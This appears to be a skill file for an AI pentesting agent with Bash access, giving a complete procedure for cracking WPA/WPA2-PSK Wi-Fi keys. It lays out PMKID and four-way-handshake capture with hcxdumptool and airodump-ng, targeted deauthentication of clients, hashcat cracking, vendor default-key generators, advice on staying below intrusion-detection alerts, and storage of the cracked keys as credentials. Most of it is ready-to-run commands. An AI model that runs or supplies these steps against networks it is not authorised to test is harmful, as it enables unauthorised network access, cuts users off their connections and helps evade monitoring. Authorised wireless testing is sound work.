wpa2-psk

name	wpa2-psk
description	WPA/WPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer/SMB encryption mode in 2026.
allowed-tools	Bash Read Write
metadata	{"subdomain":"wireless","when_to_use":"WPA2-PSK, WPA-PSK, PMKID, PSK crack, four-way handshake, hcxdumptool, aircrack-ng, hashcat 22000","tags":"wpa2, wpa, wifi, handshake, pmkid, hashcat, cracking","mitre_attack":"T1040, T1110.001"}

WPA2-PSK handshake / PMKID

Capture once, crack offline. Two acquisition paths: four-way handshake (needs a client; needs deauth on stealth-incompatible postures) or PMKID (no client / deauth needed; works against most modern APs).

Prerequisites

• Monitor-mode-capable adapter on the Wi-Fi channel of the target BSSID. Set via airmon-ng start <iface>.
• Tools installed: aircrack-ng suite, hcxdumptool, hcxpcapngtool, hashcat. All in the standard Kali image; on the dropbox mode confirm with which hcxdumptool.

Path A: PMKID (preferred, OPSEC-quiet)

# 1. Channel-hop and capture PMKIDs from any AP that responds.
sudo hcxdumptool -i <mon-iface> --enable_status=1 -w /tmp/pmkid.pcapng \
    --filterlist_ap=<bssid_list.txt> --filtermode=2

# 2. Wait ~60-120s. Stop with Ctrl+C.
# 3. Extract hashes in hashcat 22000 format.
hcxpcapngtool -o /tmp/pmkid.hc22000 /tmp/pmkid.pcapng

# 4. Crack offline. rockyou.txt is the baseline; vendor PSK gen
#    (UPC, Sky, BT) for vendor-default networks.
hashcat -m 22000 /tmp/pmkid.hc22000 /usr/share/wordlists/rockyou.txt

If PMKID is empty: the target's WPA implementation may have PMKID disabled (Wi-Fi 6 + WPA3 require). Fall back to Path B.

Path B: four-way handshake (needs a client + deauth)

# 1. Start the capture.
sudo airodump-ng --bssid <BSSID> -c <CHANNEL> -w /tmp/cap <mon-iface>

# 2. In a separate session, send a SINGLE targeted deauth to a
#    connected client (NOT broadcast - broadcast deauth is loud
#    and only legal on the engagement's `permitted_actions`).
sudo aireplay-ng --deauth 1 -a <BSSID> -c <CLIENT_MAC> <mon-iface>

# 3. Confirm WPA handshake in airodump's header line.
# 4. Stop, convert, crack.
hcxpcapngtool -o /tmp/handshake.hc22000 /tmp/cap-01.cap
hashcat -m 22000 /tmp/handshake.hc22000 /usr/share/wordlists/rockyou.txt

Vendor PSK generators

Some ISPs ship APs with a deterministic PSK derived from the BSSID or SSID. Try the matching generator BEFORE rockyou:

Vendor	Pattern	Generator
UPC	UPCxxxxxxxx SSID	upc-keys / upc-wifi
Sky	Skyxxxxx	sky-keys / SkyChecker
BT	BTHub5-xxxx	bt-default-keygen
TalkTalk	TalkTalkxxxxxx	talktalk-keygen

If the SSID matches a known vendor default pattern, the PSK is in the top 100k attempts of the matching generator. Skip rockyou.

Evidence

Persist the captured handshake / PMKID to /workspace/evidence/wireless/<bssid>.hc22000. On crack success, add a Credential node:

kg_add_node(
    kind="credential",
    label=f"WiFi PSK for {ssid}",
    props={
        "key": f"wifi-psk::{bssid}",
        "secret_type": "wpa_psk",
        "ssid": ssid,
        "bssid": bssid,
        "psk": psk,
        "cracked_at": "<iso8601>",
        "vendor_default_generator": "<generator-or-null>",
        "source": "hcxdumptool+hashcat-22000",
    },
)

ZFP

Two-method evidence:

1. The .hc22000 file with the captured material.
2. A hashcat --show line proving the PSK matches the hash.

If both don't exist, the finding is "captured, not cracked" and the deliverable distinguishes them.

OPSEC notes

• PMKID is silent. The AP responds to a single association attempt; no client deauth, no WIDS alert (most WIDS only flag deauth).
• Targeted deauth --deauth 1 is much quieter than broadcast deauth (--deauth 0 aka unlimited deauth all clients). The engagement RoE's deauth permission should distinguish.
• Some modern APs deploy 802.11w / PMF — deauth frames are rejected. PMKID still works on most. If both fail, the network is genuinely hardened; mark the BSSID as deferred and move on.

References

• references/vendor-generators.md — vendor PSK generator install + usage, where to source the rainbow tables.
• references/wpa3-transition-mode-notes.md — when the target is WPA3-Personal in transition mode, try wpa3-sae skill instead.